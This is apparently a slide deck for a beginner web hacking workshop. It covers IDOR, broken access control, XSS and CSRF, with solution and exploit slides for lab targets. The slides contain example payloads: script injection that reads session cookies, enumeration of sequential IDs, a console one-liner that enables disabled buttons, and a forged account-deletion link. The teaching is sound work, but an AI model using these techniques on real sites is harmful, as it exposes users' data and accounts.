×
1 / 21
ZTW26 × Critical Thinking Bug Bounty

Introduction to Web Hacking

Justin Gardner
Justin Gardner
@Rhynorater
Full-Time Bug Bounty Hunter
CTBB Critical Thinking Podcast Host
Caido Caido Advisor

What is Web Hacking?

Web hacking is exploiting web technologies to an attacker's advantage and/or victim's disadvantage.

Two Types of Web Hacking

Client-Side

Hacking the Browser

Exploiting code that runs in the victim's browser. The attacker tricks the victim into executing malicious actions.

Target: The victim user's browser
Server-Side

Hacking the Server

Exploiting the web server directly. The attacker sends crafted requests to abuse server-side logic.

Target: The web server itself

How Does the Internet Work?

💻
Computer
HTTP Request
HTTP Response
Browser
Browser
🔒 https://ztw.ctbb.show
HTTP Request
HTTP Response (HTML)
📡
Router
HTTP Request
HTTP Response (HTML)
Web Server
ztw.ctbb.show

Web Hacking Starting Points

Client-Side

Victim clicks attacker's link

The victim navigates to an attacker-controlled page. The attack runs in the victim's browser.

Browser
Victim clicks link 👆 → visits evil.com
JS
evil.com runs JS: fetch('victim-site.com/...', ...)
⚠ Victim site performs bad action
Cookie sent automatically — server can't tell it wasn't the victim
Server-Side

Attacker sends a evil request

The attacker sends an HTTP request directly to a vulnerable server.

📚
Attacker crafts evil request: GET /api/viewUser?id=1
Server processes request — no authorization check
⚠ Returns other user's data or modifies their info
No victim interaction needed — attacker acts alone

Vulnerability Types

Server-Side

IDOR

Insecure Direct Object Reference

Access and/or modify other user's data in a website.

BAC

Broken Access Control

Circumvent poorly built access controls for a website.

Client-Side

XSS

Cross-Site Scripting

Inject attacker supplied HTML & JS that runs in the victim's browser.

CSRF

Cross-Site Request Forgery

Force a victim's browser to perform a malicious action.

Server-Side

IDOR

Insecure Direct Object Reference

Access another user's information by manipulating object references the server exposes without proper authorization checks.

Example: You are user 1234. Change the ID in the URL to 1235 and you can see another user's private profile.

Jump to Lab
Server-Side

IDOR — Solution

The URL contains a user ID parameter. Change the ID — the server returns any user's data without authorization.

API Request
GET /api/viewUser?id=5
GET /api/viewUser?id=4
✓ Just change the ID number
Server Response
{
  "id": 4,
  "name": "Alice Smith",
  "email": "alice@example.com"
}
⚠ Someone else's private data!
Server-Side

IDOR — Exploit

Since IDs are sequential, an attacker can enumerate every user in the system.

Attacker Enumerates
GET /api/viewUser?id=1
GET /api/viewUser?id=2
GET /api/viewUser?id=3
...
Every User's Data Exposed
id:1  Bob Johnson bob@corp.com
id:2  Carol Davis carol@corp.com
id:3  Dave Wilson dave@corp.com
...
⚠ Full database of users extracted!
Server-Side

Broken Access Control

Client-Side Access Controls

Perform actions you're not supposed to be able to do by bypassing restrictions that only exist in the browser UI.

Example: You have a "Read-Only" role. The edit and delete buttons are grayed out — but the server doesn't actually check your role.

Jump to Lab
Server-Side

BAC — Solution

Right-click a disabled button → Inspect → delete the disabled attribute.

DevTools Elements
<button disabled>
  Delete Note
</button>
✓ Remove the disabled attribute
Browser UI
Delete Note
⚠ Button now works — server has no role check!
Server-Side

BAC — Exploit

Open DevTools (F12) → Console → paste this one-liner to enable everything:

Console
> document.querySelectorAll('[disabled]').forEach(el => el.removeAttribute('disabled'))
All Buttons Enabled
Edit Note
Delete Note
Add Note
⚠ Server processes every request — no role check!
Client-Side

XSS

Cross-Site Scripting

User input is interpreted as code. If the server doesn't sanitize input, an attacker can inject HTML & JavaScript that executes in the victim's browser.

URL Input
/search?q=<h1>HACKED</h1>
Browser Renders
Search results for:
HACKED
⚠ The <h1> was treated as HTML code!
Jump to Lab
Client-Side

XSS — Solution

The search endpoint reflects the q parameter directly into the HTML without sanitization.

URL Input
/lab/xss/search?q=<script>alert(1)</script>
Browser Executes
⚠ JavaScript Alert
1
OK
⚠ The <script> tag executed as JavaScript!
Client-Side

XSS — Exploit

Steal the victim's session by injecting a script that reads document.cookie.

Exploit URL
/lab/xss/search?q=<script>alert('pwned',document.cookie)</script>
Browser Executes
⚠ JavaScript Alert
pwned
session_token=abc123xyz
OK
⚠ Session cookie exposed to attacker!
Client-Side

CSRF

Cross-Site Request Forgery

Force the victim to take an attacker-defined state-changing action without their knowledge.

Example: You send a link to the victim. When they click it, their account gets deleted — because the browser sends the session cookie automatically.

Jump to Lab
Client-Side

CSRF — Solution

The "Delete Account" button is just a GET request — no CSRF token, no confirmation.

Delete Account Button
Delete Account
Clicking this just navigates to:
/deleteAccount
What the Server Sees
GET /deleteAccount
Cookie: session_token=abc123
CSRF Token: (none)
⚠ No verification — account deleted!
Client-Side

CSRF — Exploit

Send this link to an authenticated victim. Their browser attaches the cookie automatically.

📚
Attacker
Sends link to victim:
/deleteAccount
👤
Victim Clicks
Browser auto-sends:
GET /deleteAccount
Cookie: session=...
⚙️
Server
Valid cookie → executes:
Account Deleted
⚠ No CSRF token checked

HTTP Proxies

Level Up Your Hacking

An HTTP proxy sits between your browser and the server, letting you intercept, inspect, and modify every request and response in real time.

This gives you many more layers of attack beyond what the browser UI exposes.

Caido

A modern, fast, and lightweight HTTP proxy built for security testing.

Download Caido →
Caido Interface
Server-Side

Bonus: API Information Leak

IDOR Easter Egg

Go back to the IDOR lab and open DevTools (F12) → Network tab. Inspect the raw API response from /api/viewUser.

The server returns a password field in the JSON response — but the UI never displays it. APIs often leak sensitive data the frontend simply hides.

Challenge: Can you find the password for user ID 100?

Back to Lab